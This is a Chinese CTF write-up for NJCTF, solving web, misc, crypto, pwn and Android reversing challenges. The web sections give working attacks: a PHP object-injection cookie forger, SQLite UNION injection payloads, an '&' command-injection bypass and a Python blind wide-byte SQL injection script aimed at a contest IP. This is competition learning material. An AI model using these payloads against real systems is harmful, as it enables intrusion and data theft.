WEB
Login
打開是一個註冊與登陸界面,隨便註冊一個賬號然後抓包,發現必須是admin賬號纔會給flag
這樣利用長度截取
用空格空出,超出註冊用戶名長度,然後後面跟一個1
避免被函數消掉,這樣我們就成功強行修改admin的密碼爲自己的密碼
登陸即得flag
Get Flag
首先按照他所說的輸入,會出現圖片,並且格式是base64
然後隨便輸入
解密後發現執行的是cat
命令
這樣只要構造命令,先查看目錄,然後cat
就行
發現&
是可以繞過,直接%26
編碼然後一直執行ls
命令查找
發現目標
9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
cat即可
Text wall
首先查找備份文件找到源碼
<?php
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
........
?>
通過抓包,將cookie解碼一下,根據長度可知發現前面是sha1加密,後面是反序列化
這是屬於PHP Object Injection
範圍,利用反序列化得到並僞造cookie,構造相同的類型
<?php
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$a = new filelist();
$a->source = 'index.php';
$b= new filelist();
$b->source=$a;
$d=serialize($b);
$e=sha1($d).$d;
echo urlencode($e)."<br>";
?>
也可以用下面這種寫法
<?php
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$a = [];
$b= new filelist();
$b->source = 'index.php';
$a[]=$b;
$d=serialize($a);
$e=sha1($d).$d;
echo urlencode($e)."<br>";
?>
得到index.php
的內容
233333333333333333333333333333333333333333333333333333333333333333 <?php
//The flag is /var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
if(isset($_COOKIE['lists'])){
$cookie = $_COOKIE['lists'];
$hash = substr($cookie, 0, 40);
$sha1 = substr($cookie, 40);
if(sha1($sha1) === $hash){
$lists = unserialize($sha1);
}
}
if(isset($_POST['hiehiehie'])){
$info = $_POST['hiehiehie'];
$lists[] = $info;
$sha1 = serialize($lists);
$hash = sha1($sha1);
setcookie('lists', $hash.$sha1);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Please Get Flag!!</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.0/css/bootstrap.min.css">
<script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="http://apps.bdimg.com/libs/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron">
<h1>Please Get Flag!!</h1>
</div>
<div class="row">
<?php foreach($lists as $info):?>
<div class="col-sm-4">
<h3><?=$info?></h3>
</div>
<?php endforeach;?>
</div>
<form method="post" href=".">
<input name="hiehiehie" value="hiehiehie">
<input type="submit" value="submit">
</form>
</div>
</body>
</html>
flag文件已知,同樣的構造方法即得flag
NJCTF{PHP_un5erialization_a77ack_i5_very_Interes71ng}
看別人的wp發現一道類似的題
https://losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/
Wallet
由於提示是由源碼的,所以瘋狂找源碼,因爲是壓縮包形式,用www.zip
找到源碼,密碼是弱口令,猜測是njctf2017
得到源碼
<?php
require_once("db.php");
$auth = 0;
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else if (sha1((string)$hsh) == md5((string)$auth)) {
$auth = 1;
} else {
$auth = 0;
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string)$s));
}
if ($auth) {
if (isset($_GET['query'])) {
$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
$qstr = SQLITE3::escapeString($_GET['query']);
$query = "SELECT amount FROM my_wallets WHERE id=$qstr";
$result = $db->querySingle($query);
if (!$result === NULL) {
echo "Error - invalid query";
} else {
echo "Wallet contains: $result";
}
} else {
echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
}
} else echo "Sorry, not authorized.";
是一個關於sha1((string)$hsh) == md5((string)$auth)
的弱類型比較,直接爆破得到0e
開頭的即可
得到字符串
然後就是一個簡單的數字型的sqlite注入
得到表名
得到列名
得到flag
注:補充sqlite的注入方法
1 union select group_concat(tbl_name) from sqlite_master-- 暴表
1 union select sql from sqlite_master where tbl_name="XX" and type="table" -- 爆字段
1 union select group_concat(XXX) from XX--暴內容
Come On
這是一道注入題,隨便輸可知道過濾了or
,and
,union
,<>
並且註釋#
需轉碼成%23
根據別人的提示是寬字節注入,測試一下
http://218.2.197.235:23733/index.php?key=1%df%27||1=1%23 http://218.2.197.235:23733/index.php?key=1%df%27||1=2%23
猜出表名字段名
1%df’ || exists(select(flag)from(flag))%23
上腳本
import requests
flag = ''
for i in range(1,33):
for j in range(32,127):
url = "http://218.2.197.235:23733/index.php?key=1%df' || if((select(right(left((select(flag)from(flag)),{}),1)))=binary({}),1,0)%23".format(str(i),str(bin(j)))
s=requests.get(url=url)
content=s.content
length=len(content)
#print length
if length > 1000 :
string+=chr(j)
break
print flag
MISC
check QQ
直接在QQ羣中找
knock
打開後發現了兩串密文,第二個打開有點類似於莫爾斯密碼,但沒有間隔所以只能放棄,將第一個文本中的密文
zjqzhexjzmooqrssaidaiynlebnzjovosltahzjerhorrqxoeironlobdozavoouzjovosqfqsltahmqnqrrjotoerzjohorrqxoebooqydrztyqqojolx
嘗試維吉尼亞後無果,然後放進quipquip網站直接解密,發現結果
that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message in e e alcs tr laaeh e f g
正好與第二個密文間隔一致,然後可以發現後面是亂的,根據提示,將後面的柵欄一下得到結果
加上NJCTF{}提交成功
easy_crypto
這題坑了我半天,解密代碼很快都寫出來了,就是因爲key找錯了,看了一下給的文件,發現
plain.txt
與cipher.txt
字節數一樣,這兩個就是用來求key值的,然後用求出的key直接對flag.txt
解密
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main()
{
FILE* fp = fopen("C:/Users/lanlan/Desktop/m2/plain.txt", "rb");
FILE* fc = fopen("C:/Users/lanlan/Desktop/m2/cipher.txt", "rb");
FILE* ff = fopen("C:/Users/lanlan/Desktop/m2/flag.txt", "rb");
FILE* output_file = fopen("C:/Users/lanlan/Desktop/m2/F.txt", "wb");
char a,b,f;
char key[100];
int i = 0,t = 0;
while(((a = fgetc(fp)) != EOF))
{
b = fgetc(fc);
key[i] = ((b - i*i - a + t) ^ t) & 0xff;
t = a;
i++;
}
char p, c = 0;
i = 0;
t = 0;
while ((p = fgetc(ff)) != EOF)
{
c = ( p - i*i - (key[i % strlen(key)] ^ t) + t)&0xff;
t = c;
i++;
fputc(c, output_file);
}
return 0;
}
flag:NJCTF{N0w_You90t_Th1sC4s3}
PWN
vsvs
nc過去,發現需要輸入一個正確的數字,爆破吧,發現是22
成功進入
發現不管輸什麼都是回顯,嘗試進行長度的爆破
發現當我輸入1500個1時有返回說文件名過長,且返回了有416長度,得知長度在1024個有漏洞
沒有回顯啦,嘗試執行命令
得到flag文件夾,直接獲取發現有問題,無法運行
那嘗試一下linux重定向
Mobile by teammate
easycrack
- 首先安裝apk,簡單嘗試,但是,安裝時發現Android6.0版本的手機都因爲SDK版本不夠而無法安裝,下載了Android7.0的模擬器:
apk界面:
在進行輸入時,上方會動態顯示狀態:
同時可以查看DDMS,有日誌輸出:
嘗試到此
2. AndroidKiller以及JEB反編譯:
主活動只有一個,Java代碼量不大
但是解壓縮後發現有so庫
先分析Java代碼:
public class MainActivity extends AppCompatActivity {
class CheckText implements TextWatcher {
CheckText(MainActivity this$0) {
MainActivity.this = this$0;
super();
}
public void afterTextChanged(Editable s) {
MainActivity.this.findViewById(2131427416).setText("Status: " + MainActivity.this.parseText(
s.toString()));
}
public void beforeTextChanged(CharSequence s, int start, int count, int after) {
}
public void onTextChanged(CharSequence s, int start, int before, int count) {
}
}
static {
System.loadLibrary("native-lib");
}
public MainActivity() {
super();
}
public String messageMe() {
String v3 = "";
int v4 = 51;
String[] v1 = this.getApplicationContext().getPackageName().split("\\.");
char[] v6 = v1[v1.length - 1].toCharArray();
int v7 = v6.length;
int v5;
for(v5 = 0; v5 < v7; ++v5) {
v4 ^= v6[v5];
v3 += ((char)v4);
}
return v3;
}
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(2130968603);
this.findViewById(2131427416).setText(this.stringFromJNI());
this.findViewById(2131427415).addTextChangedListener(new CheckText(this));
}
public native String parseText(String arg1) {
}
public native String stringFromJNI() {
}
}
主要函數:
這裏是一個TextWatch,監聽文本框的變化並進行狀態顯示,可以看到關鍵函數是:
public void afterTextChanged(Editable s) {
MainActivity.this.findViewById(2131427416).setText("Status: " + MainActivity.this.parseText(s.toString()));
}
對文本框的判斷函數:
public native String parseText(String arg1) {
}
是Native,必須分析so文件
這裏還要注意,初始化了一個字符串:
開始還以爲這就是輸入
將程序改爲Java代碼直接得到結果:
字符串:V7D=^,M.E
後面發現會用到
- 分析so文件:
把so放入IDA反編譯的時候,發現不同平臺so文件反編譯出的函數差別比較大,用
反編譯出的函數中,有分析字符串的函數parseText
,另外幾個so函數中沒有找到,但肯定也有
分析發現主要有以下關鍵點:
首先獲取兩個字符串:
- str1
得到的即是前面算到的messageMe字符串:V7D=^,M.E
- str2
這個是輸入的字符串
對輸入字符串及
V7D=^,M.E
進行循環異或(即異或到第9位再返回V7D=^,M.E
,繼續異或),但是暫時不知道輸入字符串的長度
從後往前看,想要輸出
success
,要與compare
比較通過
compare:
向前找v27:
這裏是將字符的十六進制形式轉換爲字符串,對比compare,可以知道加密後的最終字符串的十六進制格式:
0xC8,0xE4,0xEF,0x0E,0x4D,0xCC,0xA6,0x83,0x08,0x81,0x34,0xF8,0x63,0x5E,0x97,0x0E,0xEA,0xD9,0xE2,0x77,0xF3,0x14,0x86,0x9F,0x7E,0xF5,0x19,0x8A,0x2A,0xA4
- 繼續向前分析,發現兩個關鍵函數:
分別是初始化與加密
還要注意前面的I_am_the_key
,爲初始化時傳入的字符串
7.init函數
這個函數首先生成了一個長度爲的字符串數組, 首先循環存儲了I_am_the_key
(這裏開始不知道v6是怎麼變化的,兩種可能:一直爲定值,由0~11循環,嘗試以後發現是第二種情況)
生成後進行了位置交換,沒有仔細研究規則。
編寫函數得到初始化的結果:
#include<stdio.h>
int main()
{
int v3 = 256;
int v4 = 0;
int v5 = 0;
int v6 = 0;//開始不知道v6如何變化
unsigned __int8 v11[14] = "I_am_the_key";
unsigned __int8 v13[256];
char *v7;
unsigned __int8 *v8;
int v9;
char v14[256];
do
{
v13[v5] = v5;
v7 = v14;
v14[v5++] = v11[v6];
v6++;
v6=v6%12;
}
while ( v5 != 256 );
v8 = v13;
do
{
v9 = *v8;
v4 = (v9 + v4 + (unsigned __int8)*v7) % 256;
*v8 = v13[v4];
v13[v4] = v9;
--v3;
++v7;
++v8;
}
while ( v3 );
for(int i=0;i<256;i++)
{
printf("0x%x,",v13[i]);
}
return 0;
}
- crypt函數
這個函數不是很複雜,得到的結果是最後的加密字符串,利用compare解密得到中間字符串:
#include<stdio.h>
int main()
{
int a3 = 30;
int v3 = 0;
int v4 = 0;
int v5;
int i = 0;
unsigned __int8 a2[32] = {0xC8,0xE4,0xEF,0x0E,0x4D,0xCC,0xA6,0x83,0x08,0x81,0x34,0xF8,0x63,0x5E,0x97,0x0E,0xEA,0xD9,0xE2,0x77,0xF3,0x14,0x86,0x9F,0x7E,0xF5,0x19,0x8A,0x2A,0xA4};
unsigned __int8 result[256] = {0x39,0xa9,0x72,0x2d,0xe8,0x58,0x26,0x32,0x81,0xd,0xac,0x49,0xbb,0x10,0x46,0x65,0xb3,0x92,0xf,0x84,0xb8,0xbf,0xf2,0x52,0xe3,0x5b,0xfc,0xd5,0x59,0x6a,0xf0,0x5d,0x60,0x69,0x16,0x8e,0xfb,0x94,0x48,0xbc,0x71,0x36,0x57,0xad,0x44,0x7c,0x95,0xda,0xb7,0x47,0xdb,0x35,0x3c,0xd2,0x23,0xc5,0xa8,0xb,0x9f,0x31,0xd8,0x1f,0x3f,0xb0,0x2e,0xe1,0x5a,0x4a,0xf9,0x1,0x54,0xa7,0xa5,0xee,0x8,0x99,0x63,0x9b,0x50,0xbd,0x5,0xf7,0xcb,0xab,0x22,0xc2,0x8a,0x38,0x7d,0x6,0xb1,0xc0,0x4e,0x74,0x3a,0xe5,0x67,0x2b,0xa3,0x73,0x89,0x9e,0xba,0x88,0x3d,0x28,0x62,0x8f,0xfd,0x43,0x98,0x4d,0x56,0xb2,0xc,0x29,0x6e,0x78,0x25,0xe0,0xe9,0xf6,0x9c,0x13,0xed,0xf8,0xc4,0x20,0x87,0x2,0x7b,0xf1,0x6d,0xc7,0x8c,0x9d,0x86,0x3b,0x66,0xfa,0xb6,0x42,0x6f,0x14,0xd0,0x19,0xaf,0x11,0x21,0x96,0x85,0x91,0xb5,0xa0,0x1b,0x18,0xa6,0xa2,0x4b,0x40,0xd4,0x8d,0x2a,0x8b,0x5c,0x2c,0xe6,0xfe,0xa4,0x30,0xe7,0xff,0xc8,0x5f,0xe2,0x1c,0xdf,0xae,0x7f,0xc3,0x61,0xef,0x90,0x6c,0x51,0x2f,0xec,0x12,0x7a,0xaa,0xdd,0x77,0xf5,0x4,0xd9,0x83,0x33,0xeb,0x80,0x27,0x3,0xb4,0x9,0x37,0x6b,0x41,0x4f,0x7e,0xf3,0x24,0xf4,0xc9,0x7,0xd1,0x45,0x70,0xa1,0xd7,0x34,0x93,0x15,0xca,0x4c,0xcd,0x97,0xb9,0xea,0x0,0x5e,0x1a,0x9a,0xcf,0x79,0xa,0x3e,0x82,0xd3,0x68,0x75,0x64,0xce,0x55,0xe,0xbe,0x1d,0xe4,0xc1,0xc6,0xde,0xcc,0x1e,0x17,0xd6,0xdc,0x53,0x76};
do
{
v3 = (v3 + 1) % 256;
v5 = *(unsigned __int8 *)(result + v3);
v4 = (v5 + v4) % 256;
*(unsigned __int8 *)(result + v3) = *(unsigned __int8 *)(result + v4);
*(unsigned __int8 *)(result + v4) = v5;
a2[i] ^= *(unsigned __int8 *)(result + ((*(unsigned __int8 *)(result + v3) + v5) & 0xFF));
--a3;
++i;
}
while ( a3 );
for(i=0;i<30;i++)
{
printf("0x%x,",a2[i]);
}
return 0;
}
結果:
此即是開始循環異或後的字符串
- 去除循環異或
#include<stdio.h>
int main()
{
int v10 = 30;
int v11 = 9;
int v12;
int v27 = 0;
int v13;
unsigned __int8 v25[30];
unsigned __int8 v24[32] = {0x1f,0x43,0x1b,0x4e,0x1,0x4d,0x12,0x4b,0x24,0x25,0x4e,0x7,0x4f,0x3f,0x4f,0x26,0x71,0x23,0x39,0x45,0x1b,0x5f,0x3b,0x4b,0x24,0x40,0x2b,0x33,0x45,0x37};
char s[11]= "V7D=^,M.E";
if ( v10 )
{
do
{
if ( v11 )
{
v12 = 0;
do
{
*(&v25[v27] + v12) = s[v12] ^ *(&v24[v27] + v12);
v13 = v27 + v12++ + 1;
}
while ( v12 < v11 && v13 < v10 );
}
v27 += v11;
}
while ( v27 < v10 );
}
for(int i=0;i<30;i++)
{
printf("%c",v25[i]);
}
return 0;
}
結果:
flag:It_s_a_easyCrack_for_beginners
safeBox
tips:Don't believe what you saw.
The flag's format is NJCTF{xxx} and xxx only include [a-z][A-Z][0-9].
解壓apk發現沒有so文件
直接放入JEB:
1. 代碼並不複雜,開始直接看了MainActivity:
發現是一個8位迴文數,並且限制比較具體,得到48533584
,得到結果:
NJCTF{05#f4n}
明顯不符合題目要求,雖然在手機上安裝測試成功了,但是,提交提示錯誤。
2. 這才注意到另一個類androidTest
非常像,但細節不同:
這個不限制中間兩位必須相等,而且後面有+10,此時得到48539584
或48533584
,按新規則得到結果NJCTF{have05if4n}
(此時用的是48539584
),提交正確。
這纔想到題目的提示, 不要相信看到的
flag:NJCTF{have05if4n}
LittleRotatorGame
tips:keep the screen green and rotate, you will get the flag.
The flag's format is njctf{xxx} and xxx only include [a-z][A-Z][0-9].
這是一個完全由C語言編寫的APP,或者叫Native Android
據說要去除控制流平坦化導致的混淆,據說爆破flg函數可以得到答案:
是不是可以用符號化執行工具angr
,還不會這個題。
flag:PvrNa7iv3Al1